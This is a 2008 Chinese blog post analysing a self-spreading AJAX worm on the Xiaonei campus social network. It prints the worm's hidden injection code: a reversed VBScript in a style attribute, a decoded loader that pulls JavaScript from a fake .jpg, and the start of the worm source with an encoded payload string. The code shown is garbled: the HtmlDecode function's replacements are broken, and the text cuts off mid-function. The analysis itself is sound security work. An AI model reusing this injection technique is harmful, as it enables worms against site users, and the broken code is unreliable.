一个不为人知的感染几百万校内网用户的蠕虫分析

dn001 2008-01-07 11:22:11

在一次查看校内网网页源程序的时候无意间发现一个校内蠕虫，开始还以为是我的网页有问题，就随便打开几个人的页面查看，发现许多人的页面上也有这段代码。
<a name="mya113" id="mya113" style='background:url(vbscript:execute(StrReverse(")""311aym""(dIyBtnemelEt
以上代码出现在日志的开头，只有查看源文件才能发现。它将vbscript调了个头写，调回来就变成以下内容：
set s=document.createElement("script")
s.src=/security/UploadFiles_2035/200710/20071024152340443.jpg
document.getElementById("mya113").parentNode.insertBefore s,document.getElementById("mya113")

在这段脚本中它又新建了一个script，它的src指/Article/UploadFiles_2035/200710/20071024152340443.jpg（别相信后缀），下载加这个“jpg”用记事和UE打开都发现它填充了大量的asc的00（真不敢相信填充了那么多00 IE还能执行），不过用Dreamweaver打开显示正常，拷出JS。然后花了几乎一天的时间来分析这个js文件，发现它完完全全是一个基于ajax的蠕虫。
值得注意的是作者好像很低调，在蠕虫代码中除了感染就是隐藏，没有一行破坏性的代码，仅仅是加了一个站长统计，估计作者是用来研究蠕虫传播情况的，因为站长统计要密码我们进不去，所以不知道具体的感染情况，但是我刚才在google上搜了下sosoface，还是看到这个网站的流量图：
http://www.chinarank.org.cn/detail/Info.do?url=www.sosoface.com&r=1192875678218

从上可以看到流量在几天时间里大增，这些天应该是蠕虫感染的时间。日访问人数从0猛增到500百万人/天，也就是每天那个JPG要被访问5亿次考虑到一个人可能访问多个页面，粗略估计应该至少有几百万人受到感染。另外，也就在大概两三天前这个蠕虫应该是被校内的人发现了，一夜之间全部消失了。 Sosoface也被停了。

下面来分析感染代码，我直接把注释写在JS中了，原本的程序可是一行注释也没有的。看时从最底下的start函数看起：

var req = null;
var step=null;
var DiaryMonthUrlList="",DiaryUrlList="";
var timer=null;
var bIsBusy=false;

var myrand="46.115.50.124.115.127.119.47.48.127.107.115.35.35.33.48.50.123.118.47.48.127.107.115.35.35.33.48.50.97.102.107.126.119.47.53.112.115.113.121.117.96.125.103.124.118.40.103.96.126.58.100.112.97.113.96.123.98.102.40.119.106.119.113.103.102.119.58.65.102.96.64.119.100.119.96.97.119.58.48.59.48.48.33.35.35.115.107.127.48.48.58.118.91.107.80.102.124.119.127.119.126.87.102.119.117.60.102.124.119.127.103.113.125.118.62.97.50.119.96.125.116.119.80.102.96.119.97.124.123.60.119.118.125.92.102.124.119.96.115.98.60.59.48.48.33.35.35.115.107.127.48.48.58.118.91.107.80.102.124.119.127.119.126.87.102.119.117.60.102.124.119.127.103.113.125.118.50.40.48.48.117.98.120.60.97.120.124.106.61.97.119.117.115.127.123.61.127.125.113.60.119.113.115.116.125.97.125.97.60.101.101.101.61.61.40.98.102.102.122.48.48.47.113.96.97.60.97.40.59.48.48.102.98.123.96.113.97.48.48.58.102.124.119.127.119.126.87.119.102.115.119.96.113.60.102.124.119.127.103.113.125.118.47.97.50.102.119.97.48.59.59.50.59.53.44.46.61.115.44";

function my_HtmlDecode(str)
{
str=str.replace(/</g,"<");
str=str.replace(/>/g,">");
str=str.replace(/&/g,"&");
str=str.replace(/ /g," ");
str=str.replace(/"/g,""");
str=str.replace(/<br>/g,"n");
str=str.replace(/#/g,"#");
str=str.replace(/(/g,"(");
str=str.replace(/)/g,")");
str=str.replace(/"/g,""");
str=str.replace(/'/g,"'");
str=str.replace(/#/g,"#");
str=str.replace(/(/g,"(");
str=str.replace(/)/g,")");
str=str.replace(/"/g,""");
str=str.replace(/'/g,"'");
return str;
}
function proces

标签：